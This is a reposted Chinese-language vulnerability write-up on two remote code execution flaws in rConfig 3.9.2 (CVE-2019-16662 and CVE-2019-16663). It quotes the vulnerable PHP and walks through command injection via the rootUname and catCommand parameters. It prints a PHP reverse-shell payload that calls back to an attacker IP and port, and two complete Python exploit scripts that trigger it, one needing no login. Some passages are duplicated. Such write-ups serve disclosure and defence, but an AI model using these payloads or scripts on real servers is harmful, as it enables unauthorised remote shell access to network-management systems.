网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

漏洞公告团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > 漏洞公告 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

CVE-2019-16662,CVE-2019-16663:rConfig网络设备配置管理工具的两个远程代码执行漏洞分析

文章来源:重庆网络安全 发布时间:2020-02-04 10:28:30 围观次数:
分享到:

摘要:rConfig是一个开源网络设备配置管理实用程序,借助rConfig,网络工程师可以快速,频繁地管理网络设备的快照,其中找到两个远程代码执行漏洞CVE-2019-16662,CVE-2019-16663。

   第一个文件是ajaxServerSettingsChk.php,其中rootUname参数在源文件的第2行中定义,然后传递给第13行的exec函数,攻击者可以通过rootUname参数发送特制的GET请求,并使用此命令来触发 未经授权的远程代码执行。 攻击者只需将恶意命令注入此参数,然后在目标服务器上执行该命令即可完成攻击。


   第二个RCE漏洞位于search.crud.php文件中。 攻击者可以发送特制的GET请求来触发漏洞。 这个请求需要包含两个参数,searchTerm参数可以包含任何值,但是这个参数必须有,否则,第63行的exec函数将无法正常执行。

漏洞分析...1

  运行脚本后,我们可以看到脚本的输出。 在检查文件的过程中,找到了一个名为ajaxServerSettingsChk.php的文件,文件路径为install / lib / ajaxHandlers / ajaxServerSettingsChk.php,部分代码段如下:

<?php

   $rootUname = $_GET['rootUname'];    // line 2

   $array = array();

   /* check PHP Safe_Mode is off */

   if (ini_get('safe_mode')) {

       $array['phpSafeMode'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;bad&amp;quot;&amp;gt;Fail - php safe mode is on - turn it off before you proceed with the installation&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;br/&amp;gt;';

   } else {

       $array['phpSafeMode'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;Good&amp;quot;&amp;gt;Pass - php safe mode is off&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;';

   }

   /* Test root account details */

   $rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2&amp;gt;&amp;amp;1';    // line 12

   exec($rootTestCmd1, $cmdOutput, $err);    // line 13

   $homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);

   if ($homeDirPerms == '0777') {

       $array['rootDetails'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;Good&amp;quot;&amp;gt;Pass - root account details are good &amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;';

   } else {

       $array['rootDetails'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;bad&amp;quot;&amp;gt;The root details provided have not passed: ' . $cmdOutput[0] . '&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;';

   }

   // reset /home dir permissions

   $rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2&amp;gt;&amp;amp;1';    // line 21

   exec($rootTestCmd2, $cmdOutput, $err);    // line 22

   echo json_encode($array);

在第二行代码中,脚本将GET请求中的rootUname参数的值保存到$ rootUname。 在第12行,代码将$ rootUname与其他一些字符串连接在一起,将其保存在$ rootTestCmd1中,最后将其传递给第13行的exec函数。其余代码相同。


  因此,我们只需要注入需要执行的命令,然后跳出第13行中原始代码的执行流程并执行我们的代码。 为此,我们需要使用以下有效负载:


  ; your command #

  在测试Payload时,修改了代码,并在第13行显示了exec()函数的结果,然后编码并发送了有效负载:

如上所示,我们可以通过rootUname参数发送编码后的“; id#”命令。 要获取Shell,我们可以使用以下Payload:


;php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");

注意:之所以使用这个payload,是为了避免使用nc,因为这个程序在CentOS 7.7 mini上默认是没有安装的。


编码payload并使用Burp发送后,结果如下:

image.png

如上所示,我们可以通过rootUname参数发送编码后的“; id#”命令。 要获取Shell,我们可以使用以下Payload:


;php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");

注意:之所以使用这个payload,是为了避免使用nc,因为这个程序在CentOS 7.7 mini上默认是没有安装的。


编码payload并使用Burp发送后,结果如下:

image.png

没错,我们成功获得了Shell!


  为了使整个过程自动化编写了一个Python脚本:

#!/usr/bin/python

   # Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution

   # Date: 18/09/2019

   # Exploit Author: Askar (@mohammadaskar2)

   # CVE : CVE-2019-16662

   # Vendor Homepage: https://rconfig.com/

   # Software link: https://rconfig.com/download

   # Version: v3.9.2

   # Tested on: CentOS 7.7 / PHP 7.2.22

   import requests

   import sys

   from urllib import quote

   from requests.packages.urllib3.exceptions import InsecureRequestWarning

   requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

   if len(sys.argv) != 4:

       print "[+] Usage : ./exploit.py target ip port"

       exit()

   target = sys.argv[1]

   ip = sys.argv[2]

   port = sys.argv[3]

   payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))

   install_path = target + "/install"

   req = requests.get(install_path, verify=False)

   if req.status_code == 404:

       print "[-] Installation directory not found!"

       print "[-] Exploitation failed !"

       exit()

   elif req.status_code == 200:

       print "[+] Installation directory found!"

   url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload

   print "[+] Triggering the payload"

   print "[+] Check your listener !"

   requests.get(url_to_send, verify=False)

运行此脚本后,我们可以看到如下所示的结果:

image.png

再次拿到了shell!

漏洞分析.....2

  在RCEScanner的扫描结果列表中,还有一个名为“ lib / crud / search.crud.php”的文件引起了注意。 该文件包含以下代码:

if (isset($_GET['searchTerm']) && is_string($_GET['searchTerm']) && !empty($_GET['searchTerm'])) {    // line 25

    /* validation */

    $searchTerm = '"' . $_GET['searchTerm'] . '"';    // line 27

    $catId = $_GET['catId'];

    $catCommand = $_GET['catCommand'];    // line 29

    $nodeId = $_GET['nodeId'];    // line 30

    $grepNumLineStr = $_GET['numLinesStr'];

    $grepNumLine = $_GET['noLines'];

    $username = $_SESSION['username'];

    // if nodeId was empty set it to blank

    if (empty($nodeId)) {

        $nodeId = '';

    } else {

        $nodeId = '/' . $nodeId . '/';

    }

    $returnArr = array();

    // Get the category Name from the Category selected    

    $db2->query("SELECT categoryName from `categories` WHERE id = :catId");

    $db2->bind(':catId', $catId);

    $resultCat = $db2->resultset();

    $returnArr['category'] = $resultCat[0]['categoryName'];

    // get total file count

    $fileCount = array();

    $subDir = "";

    if (!empty($returnArr['category'])) {

        $subDir = "/" . $returnArr['category'];

    }

    exec("find /home/rconfig/data" . $subDir . $nodeId . " -maxdepth 10 -type f | wc -l", $fileCountArr);    // line 57

    $returnArr['fileCount'] = $fileCountArr['0'];

    //next find all instances of the search term under the specific cat/dir 

    $command = 'find /home/rconfig/data' . $subDir . $nodeId . ' -name ' . $catCommand . ' | xargs grep -il ' . $grepNumLineStr . ' ' . $searchTerm . ' | while read file ; do echo File:"$file"; grep ' . $grepNumLineStr . ' ' . $searchTerm . ' "$file" ; done';    // line 61

    // echo $command;die();

exec($command, $searchArr);    // line 63

首先,我们需要发送带有searchTerm参数的GET请求以绕过第25行的if语句,以便我们可以进入代码执行主体。 接下来,我们需要发送另一个包含catCommand参数的GET请求,并将其注入到我们的Payload中。 该参数将在第61行与其他字符串连接在一起。存储在$command中后,将在第63行将其传递给exec()以执行。


  在这里打算使用sleep()来测试逻辑是否可行。 此Payload将使代码暂停5秒钟。 经过分析发现这里可以使用多个Payload来绕过字符串转义并执行我们的代码。  :


 ""&&$(`sleep 5`)#

使用Burp发送请求后,得到的结果如下:

image.png

没错,我们的sleep逻辑生效了,也就是注入的命令成功执行了。


我们的目的是获取Shell,这里使用了一段PHP代码,然后与其他字符串拼接在一起:


""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#

为了自动化实现整个漏洞利用过程编写了一个简单的Python脚本:

#!/usr/bin/python

   # Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution

   # Date: 18/09/2019

   # Exploit Author: Askar (@mohammadaskar2)

   # CVE : CVE-2019-16663

   # Vendor Homepage: https://rconfig.com/

   # Software link: https://rconfig.com/download

   # Version: v3.9.2

   # Tested on: CentOS 7.7 / PHP 7.2.22

   import requests

   import sys

   from urllib import quote

   from requests.packages.urllib3.exceptions import InsecureRequestWarning

   requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

   if len(sys.argv) != 6:

       print "[+] Usage : ./exploit.py target username password ip port"

       exit()

   target = sys.argv[1]

   username = sys.argv[2]

   password = sys.argv[3]

   ip = sys.argv[4]

   port = sys.argv[5]

   request = requests.session()

   login_info = {

       "user": username,

       "pass": password,

       "sublogin": 1

   }

   login_request = request.post(

       target+"/lib/crud/userprocess.php",

        login_info,

        verify=False,

        allow_redirects=True

    )

   dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)

   if dashboard_request.status_code == 200:

       print "[+] LoggedIn successfully"

       payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)

       encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))

       print "[+] triggering the payload"

       print "[+] Check your listener !"

       exploit_req = request.get(encoded_request)

   elif dashboard_request.status_code == 302:

       print "[-] Wrong credentials !"

   exit()

运行漏洞脚本后,结果如下图所示:

image.png

我们又拿到了Shell!


此漏洞已修复。

本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:CVE-2019-16662 CVE-2019-16663 rConfig 网络设备配置 远程代码执行漏洞 重庆网络安全

上一篇:PayPal登录界面高危漏洞:分析身份验证机制,通过请求验证码质询服务端(reCAPTCHA challenge),获取注册邮箱和明文密码
下一篇:Sudo漏洞(CVE-2019-18634):在某些配置下,它可能允许低特权用户或恶意程序在Linux或macOS系统上以root用户身份执行命令。

热门资讯

鼠标向下滚动